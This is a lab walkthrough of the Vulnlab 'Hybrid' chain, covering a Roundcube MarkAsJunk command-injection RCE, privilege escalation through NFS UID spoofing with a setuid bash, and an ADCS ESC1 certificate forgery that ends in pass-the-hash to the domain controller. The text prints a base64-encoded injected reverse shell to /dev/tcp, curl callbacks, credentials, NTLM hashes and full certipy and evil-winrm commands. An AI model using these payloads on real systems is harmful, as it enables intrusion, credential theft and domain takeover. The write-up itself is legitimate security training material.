Hybrid - Vulnlab
This chain was relatively fun and allowed me to learn a lot of different tactics that I would’ve previously not known how to do before. It involves attempting to gain initial access to a domain-joined Linux machine, following a pivot to the DC using ADCS.
Enumeration
Running our NMAP scanning to discover both machines 10.10.242.85
and 10.10.242.86
.
┌──(daz㉿LAPTOP-VA8M33JK)-[~/tech/vl/hybrid] |
We can see here that there seems to be a Windows and a Linux machine, which probably hints at the fact that we are going to have to mess around with a domain-joined Linux machine.
The Windows machine appears to be the DC as the domain name for it is dc01.hybrid.vl
, which means we’ll turn our attention to the Linux machine first.
There seems to be an HTTP web server that is redirecting us somewhere. I also noticed that this machine’s domain name is mail01.hybrid.vl
, so we’ll change this in our host file.
This brings us to a Roundcube email login page, which we’ll probably need to find credentials for.
External NFS Mounts
Before we mess with anything, I want to turn our attention to another potential vulnerable service on the machine - NFS.
NFS is a file sharing service, much like CIFS(which essentially is SMB). Instead of directly viewing the shares through a command-line interface, we can use NFS to potentially view public shares and mount them to our machine.
In order to view the different mounts on NFS, we can browse the NFS interface using showmount
showmount -e 10.10.242.86
To which we’ll receive the following output:
Export list for 10.10.242.86: |
This means that we should be able to view all the contents of the /opt/share
NFS share by mounting it to our machine.
sudo mount -t nfs -o vers=3 10.10.231.246:/opt/share /mnt/tmpmnt -o nolock
mount -t nfs
to specifically mount an NFS share.-o vers=3
due to our NMAP scan, which denoted the NFS version as 3 or 4.10.10.231.246:/opt/share /mnt/tmpmnt
mounting everything is/opt/share
to/mnt/tmpmnt
, which is a directory that will be created on our local machine.-o nolock
to disable file-locking, which prevents the execution of binaries on the NFS share.
Within the contents of /tmp/tmpmnt
, we can see a file called backup.tar.gz
. We can unzip this with tar
- tar -xzf backup.tar.gz
. This gives us access to both etc
and opt
directories in the file archive.
Upon enumerating the boxes, I’ve found an file that seems to give us credentials to the Roundcube login. This file is /etc/dovecot/dovecot-users
[email protected]:{plain}Duckling21 |
Using these credentials (I’ll use the admin’s credentials), we are able to log in to the Roundcube instance.
MarkasJunk RCE
Upon looking around, I’ve stumbled across an email that admin
has sent to peter.turner
, entailing that they’ll be enabling a Junk plugin on the Roundcube server.
Not only that, but it seems we have another user named Ed
who we might potentially get access to later. Just something to note down.
This points us to our attack path to get foothold - RCE.
Upon doing some research on this junk filter plugin, I found record of a CVE that allows you to get unauthorized remote code execution by configuring the user’s name, sending an email, and then sending the mail to the junk folder. https://ssd-disclosure.com/ssd-advisory-roundcube-markasjunk-rce/
This essentially allows us to trigger an arbitrary command in the user’s name due to a lack of filtering when this version of Roundcube is parsing an email. The article provided above entails the specifics on why this is the case, however it’s really just important to note right now that we can execute commands by adding a &
before and after our command in our email name so that Roundcube parses it incorrectly.
Let’s head over to Compose > Edit Identities
(the little pencil icon next to our email) to perform this exploit.
If we try to add a command regularly as we interpreted above, such as:
admin&curl http://10.8.0.173:9001/&@hybrid.vl
Roundcube will tell us that our email address is invalid. While we could spend more time trying to understand specifically what characters it has on its blacklist, we can instead just push our commands in base64. I also found success in doing this in Burpsuite and URL encoding all special characters. This can be done in Burpsuite by capturing the request and then editing the email
value.
After messing around with a curl
test payload, I managed to develop the following:
The command we are trying to execute is curl http://10.8.0.173
, which I’m using to see if we can generate a callback to a simple Python server I’ll stand up on our local machine. This brings us to the example name I’ve constructed below.admin&echo${IFS}Y3VybCBodHRwOi8vMTAuOC4wLjE3Mzo5MDAxLwo=|base64${IFS}-d|bash&@hybrid.vl
We’ll also want to URL encode any characters so they can bypass any blacklists that Roundcube is attempting to detect on the front-end, and also so that Burpsuite can parse them correctly.admin%26echo${IFS}Y3VybCBodHRwOi8vMTAuOC4wLjE3Mzo5MDAxLwo%3d|base64${IFS}-d|bash%26%40hybrid.vl
Upon submitting the request, we can see that our name is accepted despite having special characters in it.
Let’s compose an email now and send it back to ourselves to exploit the plugin. (All I did was compose an email and send it to [email protected]
).
Additionally, on my local machine, I’ll start a simple python server on port 9001
to receive the request. python3 -m http.server 9001
We’ll now browse to the email in our inbox after sending it and click the Junk
icon on the top of the email.
Upon clicking this, we can see that a GET request was sent from 10.10.242.86
back to our local machine. This means that we can execute commands and get a reverse shell on the target machine.
Let’s develop our command that we want to run, in this case I just used Revshells.com
to generate a bash one-liner.
We’ll also combine what we know previously to craft the following payload. Let’s also set up a netcat
listener to catch the web request and get us a shell. Command we are trying to run: /bin/bash -i >& /dev/tcp/10.8.0.173/9001 0>&1
admin%26echo${IFS}L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjguMC4xNzMvOTAwMSAwPiYx|base64${IFS}-d|bash%26%40hybrid.vl
If we do all of the same steps as outlined previously and use the Junk
plugin in a new email, we can see that a reverse shell was spawned as user wwwdata
.
Internal Mounted NFS Exploit
Looking around the box initially, there wasn’t anything that I saw that screamed out at me out of the blue. I ended up dropping Linpeas
to the box through a Sliver C2 beacon that I created, but didn’t really see anything with it either.
Upon searching some more, I decided to turn our attention back to NFS to potentially find any vulnerabilities with it. We can find the configurations for NFS in /etc/export
# /etc/exports: the access control list for filesystems which may be exported |
While normally we’d look for NFS privilege escalation vectors such as no_root_squash
, we can actually exploit the rw
parameter that is set to /opt/share
. https://www.hackingarticles.in/linux-privilege-escalation-using-misconfigured-nfs/
This next exploit goes into depth on how NFS interprets the rw
setting and by also exploiting [email protected]
‘s UID. If we run a id
scan on [email protected]
, we can see that they have a UID of 902601108
.
www-data@mail01:~/roundcube$ id [email protected] |
If we create a user with the same UID, we can potentially exploit the /bin/bash
binary by setting the sticky bit of bash
and running it in the context of [email protected]
. But how exactly does that make sense? Are we running /bin/bash
as [email protected]
? Yes and no. We’re going to try and run /bin/bash
as a user with the SAME UID as [email protected]
. Meaning, if we create the same user on our local machine and modify the privileges to it using rw
, we can run it in the context of [email protected]
.
So to do this, we need to do the following:
- Remote Host:
cp /bin/bash /opt/share/
- Copying the
/bin/bash
executable into the NFS share.
- Copying the
- Local Host:
sudo useradd [email protected] -u 902601108
- Creating a user named
[email protected]
with the same UID as the UID on the remote machine. - NOTE: We will need to edit
/etc/login.defs
and changeUID_MAX
to a value greater than902601108
.
- Creating a user named
- Local Host:
sudo su -l [email protected]
- Logging into the new user we created.*
- Local Host:
sudo mount -t nfs -o vers=3 10.10.231.246:/opt/share /mnt/tmpmnt -o nolock
- Mounting the NFS share to
/mnt/tmpmnt
once more.
- Mounting the NFS share to
- Local Host:
cp /mnt/tmpmnt/bash /tmp/tmpbash/
- Copying the
bash
executable to a temporary directory just so we can reset the privileges of the binary/
- Copying the
- Remote Host:
rm /opt/share/bash
- Removing the
bash
executable from the remote machine so that we can replace it with a newly configured bash executable.
- Removing the
- Local Host:
cp /tmp/tmpbash/bash /mnt/tmpmnt/
- Copying our executable back into the NFS share.
- Local Host:
chmod +s /mnt/tmpmnt/bash
- Configuring the sticky bit of the
bash
executable. By configuring this privilege, it is essentially saying that any user that runs this binary will run it as the context of that user.
- Configuring the sticky bit of the
- Remote Host:
/opt/share/bash -p
- We are running the
bash
binary with-p
, which stands forprivileged mode
. This essentially means that it will set the effective user ID (EUID) to the real user ID. The binary will run with the permissions of the same user who invoked it based on the user ID. (In this case,[email protected]
)
- We are running the
This should give us a shell as [email protected]
, as denoted below.
The only problem with having this type of shell is that we can’t upgrade our shell in any way at the moment. Any attempt to do so will revert us back to www-data
. That being said, I’ll upload a Sliver C2 implant so we can download and upload files whenever we need to.
Reading KDBX
In the home directory, we can find the first flag to this chain as well as a passwords.kdbx
file. We can use kpcli
to open this file and read its contents.
You’ll notice that if you try to show the domain
entry, it will be blotted it in red. Copying this to any text file will reveal the real contents. An alternative is to use KeaPassXC
if you’re on Windows, though kpcli
works fine as well.
kpcli:/> open passwords.kdbx |
Upon testing these credentials to SSH on the machine, we can see that we have access through SSH as [email protected]
. Slight note, my IP address did change since I took a break in between doing this.
Upon checking for privileges that we can exploit, it seems that this user can run all commands as sudo
, which is a nice change of pace for once.
[email protected]@mail01:~$ sudo -l |
The flag is in the /root
directory as shown above, meaning we have compromised the first machine for this chain.
Pivoting to DC
For the next box, I’m assuming that we’ll be able to start enumerating the machine with peter.turner
‘s valid credentials.
There is LDAP and SMB on the machine, so we could potentially verify whether this user is able to access anything. `crackmapexec smb 10.10.194.118 -u ‘peter.turner’ -p ‘b0cwR+G4Dzl_rw’
SMB 10.10.194.117 445 DC01 [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:hybrid.vl) (signing:True) (SMBv1:False) |
We’ll enumerate the SMB instance first to see if we can find anything. smbclient -L 10.10.194.117 -U 'peter.turner'
Password for [WORKGROUP\peter.turner]: |
Seems like everything on SMB is relatively normal. NETLOGON and SYSVOL are normal shares, and we can’t access any of the other shares. Just to verify though, I did go into NETLOGON and SYSVOL to ensure there wasn’t anything there, which there wasn’t.
The error we had before with LDAP is an error I’ve ran into before - we know that LDAP is running on the target based on the NMAP scan. Let’s try and use bloodhound-python
to enumerate the LDAP forest.git clone https://github.com/dirkjanm/BloodHound.py.git
python3 bloodhound.py -d 'hybrid.vl' -u 'peter.turner' -p 'b0cwR+G4Dzl_rw' -c all -ns 10.10.194.117 --zip
This will dump the LDAP forest for us, and any valid domain objects that it can find based on the credentials that we have.
INFO: Found AD domain: hybrid.vl |
We can now use bloodhound
with the compressed archive we just received to enumerate the LDAP forest. In case you have never used Bloodhound or Neo4J before, here’s a resource to get started: https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux
Upon uploading the data into Bloodhound, we can begin to enumerate if peter.turner
has delegation over anything.
One thing I do want to note, there seems to be a user which we saw in the Roundcube instance named Ed. His full username seems to be [email protected]
. I’m assuming we’ll need to compromise him somehow, but that’s still uphill. Bloodhound doesn’t seem to note anything down at the moment for peter.turner
‘s privileges, so let’s see what users we can find in the users file that Bloodhound dumped originally.
I’ve compromised a list of these users based on the JSON that was provided, and modified it into a wordlist based on the user.
Administrator |
Didn’t seem like we could dump any ASREP
hashes with GetNPUsers
, nor could we dump any usable TGSs/TGTs for any of the users with GetUserSPNs
.
Let’s turn our attention to another avenue we could target, ADCS.
ESC1 ADCS Exploitation
ADCS is a server role that essentially allows you to integrate PKI (Public Key Infrastructure) into an AD environment. This helps to maintain public key cryptography and digital signature/certificate capabilities. ADCS vulnerabilities can allow us to request a certificate used to authenticate on behalf of another user in the domain. Let’s try to find any vulnerable certificate templates that we can use.
certipy-ad find -vulnerable -username 'peter.turner'@hybrid.vl -password b0cwR+G4Dzl_rw -dc-ip 10.10.194.117
We’ll see that this returns one result of a vulnerable certificate denoted as HybridComputers
Certificate Templates |
You’ll notice the ESC1
vulnerability indicator at the bottom of the template, which is telling us that Domain Computers
can enroll supplies subject and also allows client authentication. This essentially means that any user can request a certificate on behalf of any other user in the network, even if that user is a privileged user (such as Administrator
).
So technically speaking, we can use our peter.turner
credentials to generate a certificate on behalf of Administrator
, right? Unfortunately, it’s not that simple in our case.
As you can see, the only role that can do this is HYBRID.VL\\Domain Computers
, which means that only domain computers can perform this.
Now this is relatively easy to move around, as we already have control of another computer on the domain - the recent MAIL01
computer that we just compromised previously. We’ll need to find the NTLM hash of this domain computer, which we would normally just dump through tools such as mimikatz
on a Windows machine. On a Domain-joined Linux machine, the NTLM hashes for the domain computer can usually be found in /etc/krb5.keytab
in my experience.
Upon trying to read the file, we’ll find out that it’s unreadable since it is encrypted.
We can easily circumvent this by using a tool called keytabextract.py
, which will dump the contents of this file in plaintext. https://github.com/sosdave/KeyTabExtract
We can now use this NTLM hash to proceed with our certificate request.certipy-ad req -u 'MAIL01$'@hybrid.vl -hashes '0f916c5246fdbc7ba95dcef4126d57bd' -ca 'hybrid-DC01-CA' -template HybridComputers -target hybrid.vl -upn '[email protected]' -dns dc01.hybrid.vl -key-size 4096 -debug
Once again as a reminder, make sure that dc01.hybrid.vl
and hybrid.vl
both are set to the IP address of the DC in your /etc/hosts
file. Just a reminder.
This should save a certificate and private key to a file called administrator_dc01.pfx
. We can use this .pfx
to now authenticate to the DC and dump the Administrator’s NT hash.
certipy-ad auth -pfx administrator_dc01.pfx -username 'administrator' -domain 'hybrid.vl' -dc-ip 10.10.238.53
This will dump the NT hash in plaintext, to which we’ll use the second part of the hash to authenticate.
Let’s test our ability to authenticate to WinRM with these credentials using Pass-the-Hash on CrackMapExec.crackmapexec winrm 10.10.238.53 -u 'Administrator' -H '60701e8543c9f6db1a2af3217386d3dc'
SMB 10.10.238.53 5985 DC01 [*] Windows Server 2022 Build 20348 (name:DC01) (domain:hybrid.vl) |
That Pwn3d!
notification denotes that we can now access the machine through WinRM.evil-winrm --ip 10.10.238.53 -u 'Administrator' -H '60701e8543c9f6db1a2af3217386d3dc'
The root flag is within the Administrator’s Desktop
directory, meaning we now have completed this chain!
Conclusion
This machine was an awesome first experience at chains. Given that it was a domain-joined Linux, it required much more research into the attack path as I wasn’t very familiar with this type of machine. It was a nice curveball, and the ADCS exploitation made it even more enjoyable. Big thanks goes out to xct for the development of this chain.
Resources
https://ssd-disclosure.com/ssd-advisory-roundcube-markasjunk-rce/
https://www.hackingarticles.in/linux-privilege-escalation-using-misconfigured-nfs/
https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/abusing-active-directory-with-bloodhound-on-kali-linux
https://github.com/sosdave/KeyTabExtract